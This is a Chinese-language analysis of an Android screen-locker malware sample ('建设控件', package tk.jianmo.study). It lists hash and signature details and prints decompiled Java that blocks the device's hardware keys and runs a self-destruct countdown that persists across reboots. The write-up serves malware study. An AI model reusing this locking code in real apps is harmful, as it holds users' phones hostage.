Android病毒样本分析(1)

1.基本信息

病毒名称: 1.apk

文件名称: 建设控件

文件MD5: 5B22058C7632AA3211987B1ABDD8E3D0

文件包名: tk.jianmo.study

数字签名:O=1_sign.apk

 
2.基本行为

程序启动后直接进入锁屏界面，开机自启动，按键无响应



3.详细分析

1.  通过改写onKeyDown方法,屏蔽返回键、音量键、菜单键等虚拟按键,造成不响应按键动作的效果,来达到锁屏的目的。

@Override
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)
{
if (paramInt == 4)
{
if (this.keyTouthInt != 0) {
break label151;
}
this.usedTime = SystemClock.currentThreadTimeMillis();
this.keyTouthInt = 1;
this.usedTime = System.currentTimeMillis();
}
for (;;)
{
if (paramInt == 3)
{
keytouch(this.usedTime, this.keyTouthInt, 5);
if (this.keyTouthInt == 6) {
new MyDialogFragment().show(getFragmentManager(), "mydialog");
}
}
if (paramInt == 82) {
keytouch(this.usedTime, this.keyTouthInt, 100);
}
if (paramInt == 25) {
keytouch(this.usedTime, this.keyTouthInt, 2);
}
if (paramInt == 24) {
keytouch(this.usedTime, this.keyTouthInt, 3);
}
if (paramInt == 26) {
Toast.makeText(this, "开机自启，关机无效哦。", 0).show();
}
return true;
label151:
if (this.keyTouthInt == 1) {
keytouch(this.usedTime, this.keyTouthInt, 1);
} else {
keytouch(this.usedTime, this.keyTouthInt, 4);
}
}
}

2、程序获取了当前时间，并且设置了时间函数，使程序执行时间到作者设置的时候后，就会自动解除锁屏

 startService(this.intent);                                                     //启动服务
      this.sp = getSharedPreferences("TimeSave", 0);
      this.timetofinish = this.sp.getInt("saveTime", this.timetofinish);
      if (this.timetofinish <= 1) {
        this.timetofinish = this.theBeginTimeToFinish;
      }
      this.timer = new Timer();                                               //设置时间
      this.timertask = new TimerTask()
      {
        @Override
        public void run()
        {
          MainActivity.this.runOnUiThread(new Runnable()
          {
            @Override
            public void run()
            {
              int i = MainActivity.this.timetofinish / 3600;
              int j = MainActivity.this.timetofinish % 3600 / 60;
              int k = MainActivity.this.timetofinish;
              MainActivity.this.tv_time.setText(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(i).append("时").toString()).append(j).toString()).append("分").toString()).append(k % 60).toString() + "秒后手机自爆！");
              MainActivity.this.sp.edit().putInt("saveTime", MainActivity.this.timetofinish).commit();
              if (MainActivity.this.timetofinish == 0)
              {
                MainActivity.this.stopService(MainActivity.this.intent);   //终止服务
              }
              MainActivity localMainActivity = MainActivity.this;
              localMainActivity.timetofinish -= 1;
            }
          });
        }
      };